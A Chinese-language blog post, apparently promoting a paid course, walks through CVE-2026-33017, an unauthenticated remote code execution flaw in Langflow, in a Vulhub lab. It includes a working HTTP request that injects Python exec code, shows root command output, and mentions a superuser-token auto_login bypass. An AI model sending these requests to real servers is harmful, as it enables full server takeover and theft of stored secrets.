漏洞利用演示视频
👉 分享AI,反被接管 | Langflow 高危RCE | CVE-2026-33017
发生了什么?
先说最反常识的一点:这个编号CVE-2026-33017的漏洞,打的是现在特别火的开源 AI 工作流工具Langflow。攻击者不需要账号、不需要登录、不需要爆破密码,只需要一个"你之前分享给别人试玩 AI 的链接"。
Langflow 是个什么东西?你可以把它理解成一台智能炒菜机:在浏览器里拖几块积木、连几条线,就能搭出一个会聊天、会查资料的 AI,不用写一大堆代码。很多公司内部拿它搭知识库、搭智能客服。
它有两个很讨喜的功能。一个是自定义组件,允许你手写一段 Python 代码做专属积木;另一个是公开 Playground,点一下"分享",任何人不用登录就能在门外的试玩页体验你的 AI。
问题就出在这两个功能撞在了一起:那个不问身份的公开试玩接口,除了能让人试玩现成的 AI,还接受一个data参数,而这个参数会把服务器上保存的流程定义整个替换掉。攻击者塞一个自定义组件进去,里面夹的代码在流程编译阶段就会被直接执行——先执行,后检查。
我在授权靶场里走完了这条链,最终拿到了这台服务器的最高权限:
攻击机的监听窗口里,服务器主动连了回来,whoami回显root,id回显uid=0(root)。远程代码执行英文缩写 RCE,意思是人在外面,却能让你的服务器替他跑命令。
把危害边界说清楚:在授权测试的语境下,这条链走到终点,攻击者可获取服务器权限——服务器上的文件、运行的 AI 业务、配置里的大模型 API Key,都暴露在对方面前。它不是泄露某一条数据,而是整台机器易主。至于拿到权限之后的进一步动作,属于另一个话题,这篇只讲这台"分享 AI 的机器"是怎么被人接管的。
更让人后背发凉的是,攻击者需要的全部前提,往往就是一张你曾经发到群里、贴到文档里的试玩链接。链接里有个流程编号,它本是为了让朋友找到你这道菜,结果成了攻击的定位符。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。
有多严重?——POC验证
POC 是 Proof of Concept 的缩写,就是一段证明漏洞真实存在的最小验证。完整过程贴在下面,你可以在自己的授权靶场里复现。
先补三个最小概念,不懂这三个,后面像听天书。
- 自定义组件(Custom Component):Langflow 里允许你手写 Python 代码的积木。写代码这个动作能力几乎没有上限,读文件、联网、执行系统命令都能干,所以它本来只该给登录进来的作者用。
- 公开 Playground:点"分享"生成的对外试玩页,任何人不用登录就能访问。对应的后端构建接口路径形式为
POST /api/v1/build_public_tmp/<flow_id>/flow。 - 流程编号(flow_id):每个流程有一个一长串随机字符的 UUID,公开试玩链接里带着的就是它。靶场里这个值是固定的
e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a。
第一步:提交构建任务,拿 job_id
完整请求包如下,注意几个地方:路径里是流程编号;Cookie: client_id=anything必须带,值随便填,接口只检查"有没有卡"、不检查"你是谁";真正的核心是data里夹了一个自定义组件。
POST /api/v1/build_public_tmp/e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a/flow HTTP/1.1 Host: {业务目标ip}:7860 Content-Type: application/json Cookie: client_id=anything {"data": {"nodes": [{"id": "CustomComponent-pwn", "type": "genericNode", "data": {"id": "CustomComponent-pwn", "type": "CustomComponent", "node": {"template": {"code": {"type": "str", "value": "from lfx.custom import Component\n\n_x = exec(\"raise Exception(__import__('os').popen('id').read())\")\n\nclass Pwn(Component):\n display_name = \"Pwn\"\n def build(self) -> None:\n pass\n"}, "_type": "CustomComponent"}, "base_classes": ["CustomComponent"], "display_name": "Custom Component", "outputs": [{"types": ["CustomComponent"], "name": "Custom Component"}]}}}], "edges": []}}剥掉那层 JSON 外壳,组件里真正干活的代码就一句:
_x=exec("raise Exception(__import__('os').popen('id').read())")逐段拆:__import__('os').popen('id').read()是动态导入 os 模块、执行id命令、把输出读出来;raise Exception(...)把命令输出包进一个异常里抛出去;exec是 Python 里"说什么做什么"的执行函数,Langflow 编译自定义组件时会用它,而且没有沙箱。
这里有个特别阴的点:这句代码写在模块最外层(类定义之外),Langflow 一拼合流程就会执行它,先于任何安全检查。你要是把它写进build()方法里,反而不会执行——因为请求根本走不到组件被调用那一步。
服务器收到后,返回一个构建任务编号:
{"job_id":"946b1b2b-501e-4284-aa5f-33957913f704"}构建是异步的:服务器收下任务丢到后台编译,立刻给你一个job_id,就像餐馆下单给你取餐号,菜好了凭号取。
第二步:轮询构建事件,看命令回显
拿着job_id发 GET,取构建结果:
GET /api/v1/build_public_tmp/946b1b2b-501e-4284-aa5f-33957913f704/events?event_delivery=polling HTTP/1.1 Host: {业务目标ip}:7860返回的构建事件里,有一条 error 事件,命令输出就藏在它的报错文本中:
{"event":"error","data":{"text":"Error creating class. Exception(uid=0(root) gid=0(root) groups=0(root)\n).\n","category":"error","error":true}}看到uid=0(root) gid=0(root) groups=0(root)了吗?
id是查看当前用户身份的命令,uid=0就是 Linux 的最高权限 root。我们没有任何账号,只凭一个公开链接里的流程编号,就让服务器执行了指定命令,还把结果通过"报错"这条顺风车递了出来。漏洞验证完成。
两个小细节:第一步的 Cookie 不带,接口直接不理你;第二步发太快可能拿到 404,因为任务还没在后台注册完,等一两秒再查就好。
受影响和修复版本列在下面:
| 项目 | 版本 |
|---|---|
| 受影响版本 | Langflow 1.8.2 及更早版本 |
| 修复版本 | Langflow 1.9.0 及以上版本 |
| 漏洞接口 | POST /api/v1/build_public_tmp/<flow_id>/flow |
官方的修复方式值得多看一眼:他们没有给接口补一个登录校验,而是直接移除了该接口的data参数——新版本不再接受路人替换流程。这等于点破了根因:问题不是"门没上锁",而是"厨房根本不该照着陌生人递进来的菜谱开火"。
环境怎么搭?
直接用 Vulhub 起靶场,进入漏洞目录,一行命令:
dockercompose up-d用docker compose ps能看到端口映射在 7860。这个靶场镜像锁的是vulhub/langflow:1.8.1,落在受影响范围里;还显式关掉了AUTO_LOGIN,模拟真实部署——访问会看到登录页,而不是免登录直接进后台。
靶场预置了管理员账号administrator:vulhub,以及一个已经公开分享的流程,流程编号就是前面用的那个 UUID。
新手复现最容易卡在这:浏览器访问分享链接,页面一直转圈 Loading,怀疑环境坏了。
不用管它,也不用真的等页面加载出来。这个漏洞打的是后端构建接口,跟前端页面能不能正常显示没关系,你手里有流程编号就够了。
补一个重要背景:这个靶场把AUTO_LOGIN关掉了,但在使用默认配置(AUTO_LOGIN=true)的实例上,任何人还能调用GET /api/v1/auto_login无凭据拿到超级用户令牌,自己造一个公开流程再利用。换句话说,哪怕你从来没分享过任何东西,只要这个默认开关没关,攻击前提一样可能被造出来。
真正的门槛在哪?
POC 跑到id回显,很多人会觉得"这洞也就这样"。但你注意一下结果:我们只是让服务器执行了一条命令、从报错里看了一眼输出,并没有真正拿到它。
从"能执行一条命令"到"拥有一条随敲随应的 Shell",中间隔着的东西不少。我挨个点给你看,但不给解法——这是付费内容的边界,也是这个洞真正值钱的地方。
第一道坎:回显通道是"一次性"的。现在的方式是把命令输出塞进异常、再去轮询事件流,一次只能取一条命令的结果。你想连续操作,就得反复构造请求、反复轮询,又笨又慢。真正的实战要的是一条持续的、双向的通道——你发指令、它回结果,这背后涉及网络连接方向、输入输出重定向、进程关系三件事,任何一环没接上,通道就是断的。
第二道坎:目标可能出不了网。建立通道需要目标主动连回攻击机,可很多服务器藏在防火墙和 NAT 后面,只允许访问特定的外部地址。什么时候能连、用什么连、连不回来时怎么退回回显路线一点点摸,都要现场判断。
第三道坎,也是最坑人的一个:你发包触发时,工具可能直接报"请求失败、读取超时"。新手的第一反应是 payload 坏了,然后疯狂改写法。但这个超时到底意味着失败,还是意味着"服务器已经被另一个会话牵走、没空回你这个包了"?判据搞反了,你会把一次成功的利用当失败丢掉,对着空气修一晚上。
第四道坎:代码的位置不能错。同样的执行代码,放在模块最外层能触发,放在组件的build()方法里就纹丝不动;不同的反弹写法在这个"Python 解释器主场"里,顺手程度也完全不同,选哪条路、怎么处理层层嵌套的引号,都得自己撞。
多数人失败的核心原因
归一下类,多数人卡死不是卡在工具不会用,而是卡在两个认知缺口上。
第一个缺口:以为"能执行命令"和"能拿到 Shell"是一回事。命令执行只是让目标替你跑一次动作,Shell 要的是一条持久的双向通道。网上公开的 POC 几乎都停在id回显,因为作者要证明的只是"漏洞存在",再往后的网络与进程细节,他们不写。
第二个缺口:不理解这个漏洞"先执行、后检查"的时序。为什么代码必须写在模块级、为什么报错里能掏出命令结果、为什么一个公开试玩接口敢接受整个流程替换——这几个问题串起来才是完整的利用链。只照着 POC 抄 JSON,环境稍微一变(比如对方换了错误处理、关了某个开关),你就不知道该改哪里。
说句实在话,从回显到稳定拿到 Shell 这条路,我在靶场里来回撞了好几轮,最耗时间的不是写 payload,而是判断"那个超时到底算成没成"。你可以自己从头撞,也可以直接看我把完整排查过程和判断方法整理好的版本。
再补一个容易被忽略的隐性成本:就算 Shell 真的弹回来了,怎么确认拿到的是什么身份、怎么让命令结果稳定地看全而不是刷屏乱码、怎么避免一条写错的命令把整条通道弄断,这些都是 POC 不会覆盖、但实战里立刻撞上的问题。
还有一个细节能体现这个洞的"脾气":走回显路线时你必须发两个包、轮询一次构建事件,发早了还会拿到 404;而一旦走到反弹这一步,第二个包反而可以整个省掉,一个请求就能把人带走。同一个接口,两种利用方式的节奏完全不同,这种"什么时候该等、什么时候不用等"的手感,光看 POC 是看不出来的,得在靶场里亲手断几次才知道。
说这么多不是想吓唬你,而是想让你明白:安全圈里"能复现 POC"和"能在实战里稳稳拿下目标",中间隔着的从来不是某个神秘工具,而是对执行时序、网络方向和进程关系的理解。在靶场里把这些弯路走一遍,比在真实环境里手忙脚乱强得多。
如果你想走完这条路
我把从环境搭建、POC 验证,到最终反弹 Shell 的完整过程——包括每一步的完整数据包、payload 字段逐行拆解、"超时假象"的判断方法、四个踩坑点的完整复盘,以及一个只做检测、不做破坏的自查脚本——都整理在了
专栏文章和专栏
- 【GetShell】Langflow 公开流程构建接口未授权远程代码执行漏洞(CVE-2026-33017)
- 专栏的名字叫高危漏洞深度利用—零基础GetShell的全链路实战指南(👉 点击进入专栏)
核心就一条规矩:不止于 POC 复现,每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍"命令能执行却拿不到 Shell"的坑,可以翻翻。
相关文章推荐
同一个产品 Langflow 我之前还拆过一个洞
【GetShell】Langflow API未授权远程代码执行漏洞(CVE-2025-3248),一个是 API 接口未授权,一个是公开试玩接口被替换流程,放一起看,你会对这类"免登录 + 可传内容 + 自动执行"的组合特别敏感。个人官网
如果你想顺着这套体系,从零基础一路学到内网与域控实战,看更多成体系、能动手跟练的安全文章,可以访问我的安全学习站点:
站点地址:详见文章下部官网:【光跃Eason·安研社】- 里面有完整的漏洞实战导航、成体系的网络与安全文章,以及配套的一键靶场环境;
- 具体联系方式见站点相关页面,也欢迎加微信交流。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。